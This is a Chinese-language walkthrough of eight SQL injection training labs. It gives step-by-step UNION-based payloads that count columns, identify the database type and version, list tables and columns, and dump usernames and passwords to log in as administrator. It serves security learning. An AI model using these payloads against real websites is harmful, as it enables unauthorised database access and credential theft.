声明

本文仅供学习参考，其中涉及的一切资源均来源于网络，请勿用于任何非法行为，否则您将自行承担相应后果，我不承担任何法律及连带责任。

实验页面下面都有视频教程，很细 建议观看学习。笔记主要为记录过程，有错误的地方欢迎师傅们指正~

SQL注入

01 SQL 注入 UNION 攻击，查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回，因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后，您将在后续实验中使用此技术来构建完整的攻击。

要解决该实验，请通过执行SQL 注入 UNION攻击来确定查询返回的列数，该攻击会返回包含空值的附加行。

解决方案

1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
2. 修改category参数，赋予它值'+UNION+SELECT+NULL--。观察是否发生错误。
3. 修改category参数以添加包含空值的附加列：'+UNION+SELECT+NULL,NULL--
4. 继续添加空值，直到错误消失并且响应包括包含空值的附加内容。

'+ORDER+BY+3--

image-20210731163649292

'+UNION+SELECT+NULL,NULL,NULL--

image-20210731163552066

02 SQL 注入 UNION 攻击，查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回，因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击，首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。

实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题，请执行SQL 注入 UNION攻击，该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。

解决方案

1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
2. 确定查询返回的列数。使用category参数中的以下有效负载验证查询是否返回三列：'+UNION+SELECT+NULL,NULL,NULL--
3. 尝试用实验室提供的随机值替换每个空值，例如：'+UNION+SELECT+'abcdef',NULL,NULL--
4. 如果发生错误，请移至下一个空值并改为尝试。

任务：使数据库检索字符串：'X8VH6Z'

image-20210731164553952

'+UNION+SELECT+NULL,NULL,'X8VH6Z'--

image-20210731165006938

03 SQL注入UNION攻击，从其他表中检索数据

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回，因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击，您需要结合您在之前实验室中学到的一些技术。

数据库包含一个名为 的不同表users，其列名为username和password。

为解决实验室问题，执行SQL 注入 UNION攻击，检索所有用户名和密码，并使用该信息以administrator用户身份登录。

解决方案

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. 确定查询返回的列数以及哪些列包含文本数据。验证查询返回两列，它们都包含文字，使用像在类别参数以下的有效载荷：'+UNION+SELECT+'abc','def'--。
3. 使用以下有效负载检索users表的内容：'+UNION+SELECT+username,+password+FROM+users--
4. 验证应用程序的响应是否包含用户名和密码。

使用'+UNION+SELECT+username,password+FROM+users--获取用户名密码表，得到administrator/a2t6t7m3ybo5f7cz7fja

image-20210731165512802

使用得到的用户名密码登录

image-20210731165741362

04 SQL 注入 UNION 攻击，在单列中检索多个值

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回，因此您可以使用 UNION 攻击从其他表中检索数据。

数据库包含一个名为 的不同表users，其列名为username和password。

为解决实验室问题，执行SQL 注入 UNION攻击，检索所有用户名和密码，并使用该信息以administrator用户身份登录。

解决方案

1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列，其中只有一列包含文本，在category参数中使用如下所示的有效负载：'+UNION+SELECT+NULL,'abc'--
3. 使用以下有效负载检索users表的内容：'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
4. 验证应用程序的响应是否包含用户名和密码。

'+order+by+2--判断列数为2

image-20210731171105351

'+union+select+null,'aaa'--判断回显字段是第二个

image-20210731171130566

'+union+select+null,username+||+'~'+||+password+FROM+users--读取密码

image-20210731171242222

登录administrator~l32y00qu4gkslzqy9d0g

image-20210731171430777

05 SQL注入攻击，在Oracle上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题，请显示数据库版本字符串。

解决方案

1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列，这两列都包含文本，在category参数中使用如下所示的有效负载：'+UNION+SELECT+'abc','def'+FROM+dual--
3. 使用以下有效负载显示数据库版本：'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

'+ORDER+BY+2--判断列数为2

image-20210731171919099

union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点，我们已经知道有两个列，我们要做的是将int值或字符串测试每一列

' UNION SELECT 'aa', NULL--

如果该列的数据类型不兼容对于使用过滤类别的列的数据类型，它应该抛出一个错误，告诉我们该列不是字符串类型。如果我们没有收到错误，这意味着该列现在是字符串类型。

在此实验环境中，我们可以看到两列都包含字母，所以他们都是字符串类型（还是要进一步测试确认）。

image-20210801004438926

测试' UNION SELECT 'aa', 'aa'--

报错Internal Server Error

image-20210801004727399

可以确定我们的操作是没有问题的，我们搜索一下oracle的select语句用法oracle select statement

Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/

oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/

在 Oracle 中，SELECT语句必须有一个FROM子句。但是，某些查询不需要任何表

Oracle 为您提供了DUAL的一个特殊的表，它属于SYS用户的模式，但所有用户都可以访问。

所以我们为union select后加上from DUAL子句

' UNION SELECT 'aa', 'aa' FROM DUAL--

显示成功

image-20210801005142291

参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句

SELECT banner FROM v$version
SELECT version FROM v$instance

所以我们的payload是

' UNION SELECT banner, 'aa' FROM v$instance--

image-20210801005711456

刷新页面会显示恭喜解决

image-20210801005934960

06 SQL注入攻击，在MySQL和微软上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题，请显示数据库版本字符串。

解决方案

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列，这两列都包含文本，在category参数中使用如下所示的有效负载：'+UNION+SELECT+'abc','def'#
3. 使用以下有效负载显示数据库版本：'+UNION+SELECT+@@version,+NULL#

同样的思路，先确定列数,通过网页显示内容可以猜测是2列

' ORDER BY 2--查询报错

image-20210801011242670

我们的语法没有问题，这个服务器错误可能是对我们的某个符号进行了过滤，现在我们把--注释符修改为#进行测试，成功

' ORDER BY 2#查询成功

image-20210801011412205

' UNION SELECT 'AAA', 'BBB'#查询

image-20210801011553835

现在我们需要使用SQL注入语句查询数据库版本，查阅我们的SQL 注入备忘单，找到一些有用的有效负载

SELECT @@version

' UNION SELECT @@version, 'BBB'#

image-20210801011807924

成功解决

image-20210801011853470

07 SQL注入攻击，列出非Oracle数据库上的数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回，因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能，数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列，然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室，请以administrator用户身份登录。

解决方案

1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列，这两列都包含文本，在category参数中使用如下所示的有效负载：'+UNION+SELECT+'abc','def'--。
3. 使用以下有效负载检索数据库中的表列表：'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
4. 查找包含用户凭据的表的名称。
5. 使用以下有效负载（替换表名）来检索表中列的详细信息：'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
6. 查找包含用户名和密码的列的名称。
7. 使用以下有效负载（替换表名和列名）检索所有用户的用户名和密码：'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
8. 找到administrator用户的密码，并使用它登录。

1 确定列数

' ORDER BY 2--响应200

image-20210801012224894

2 确定每列的字段数据类型

' UNION SELECT 'AA', 'CC'--

image-20210801012347821

3 查询数据库类型

在我们的SQL 注入备忘单上找到一些有用的有效负载用来判断数据库类型

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时，此信息很有用。

' UNION SELECT banner, 'CC' FROM v$version--错误，说明不是Oracle

' UNION SELECT @@version, 'CC'--错误，说明不是MySQL和mssql

' UNION SELECT version(), 'CC'--成功，说明是PostgreSQL

image-20210801012655480

4 检索数据库中的表列表

在我们的SQL 注入备忘单上找到一些有用的有效负载

Google搜索information_schema.tables PostgreSQL找到我们需要的列名

https://www.postgresql.org/docs/9.1/information-schema.html

选择columns查看所有的表目录、表架构、表名、列名等

image-20210801015648239

image-20210801015912597

我们需要的是表名，table_name

检索数据库中的表列表

' UNION SELECT table_name, 'CC' FROM information_schema.tables--查询数据库表名

image-20210801020239433

5 查找包含用户凭据的表的名称

我们找到users_随机字符的表users_nvjpgq，假设这是我们所需要的存放用户名密码的表

6 检索表中列的详细信息

现在我们需要输出表的列名

在我们的SQL 注入备忘单上找到一些有用的有效负载

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

SELECT * FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

使用Google搜索我们需要的列名字段information_schema.columns PostgreSQL,得到column_name

https://www.postgresql.org/docs/9.5/infoschema-columns.html

image-20210801020841687

检索表中列的详细信息

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

7 查找包含用户名和密码的列的名称

很明显，我们需要的列名应该是username_viaxls和password_senvzp

image-20210801021056575

8 检索所有用户的用户名和密码

' UNION SELECT username_viaxls,password_senvzp FROM users_nvjpgq--查找用户名密码字段值

image-20210801021505496

9 找到administrator用户的密码，并使用它登录

administrator/hiny5a8q5m62aqhoyze9

image-20210801022127961

08 SQL注入攻击，在Oracle上列出数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回，因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能，数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列，然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室，请以administrator用户身份登录。

解决方案

和上一个实验类似，也是找数据库中的用户名密码，步骤是一样的。

1 确定列数2

' ORDER BY 2--

image-20210801022946506

2 确定每列的字段数据类型-字符型

' UNION SELECT 'AA','CC' FROM DUAL--

image-20210801023111143

3 查询数据库类型

' UNION SELECT banner,'CC' FROM v$version--

image-20210801023233073

4 检索数据库中的表列表

查找我们的SQL 注入备忘单，找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tables

Google搜索all_tables oracle，找到TABLE_NAME

https://docs.oracle.com/cd/B19306_01/server.102/b14237/statviews_2105.htm#REFRN20286

image-20210801023526544

检索数据库中的表列表

' UNION SELECT TABLE_NAME, NULL FROM all_tables--

image-20210801024902377

5 查找包含用户凭据的表的名称

USERS_SOMDZN

6 检索表中列的详细信息

查找我们的SQL 注入备忘单，找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Google搜索all_tab_columns，找到COLUMN_NAME

image-20210801025138919

检索表中列的详细信息

' UNION SELECT COLUMN_NAME, NULL FROM all_tab_columns WHERE table_name = 'USERS_SOMDZN'--

image-20210801025301767

7 查找包含用户名和密码的列的名称

USERNAME_ETJAFO和PASSWORD_RRYQDL

8 检索所有用户的用户名和密码

' UNION SELECT USERNAME_ETJAFO, PASSWORD_RRYQDL FROM USERS_SOMDZN--

image-20210801025451647

9 找到administrator用户的密码，并使用它登录

administrator/7710s0z9vh37a81c1n23

image-20210801025754289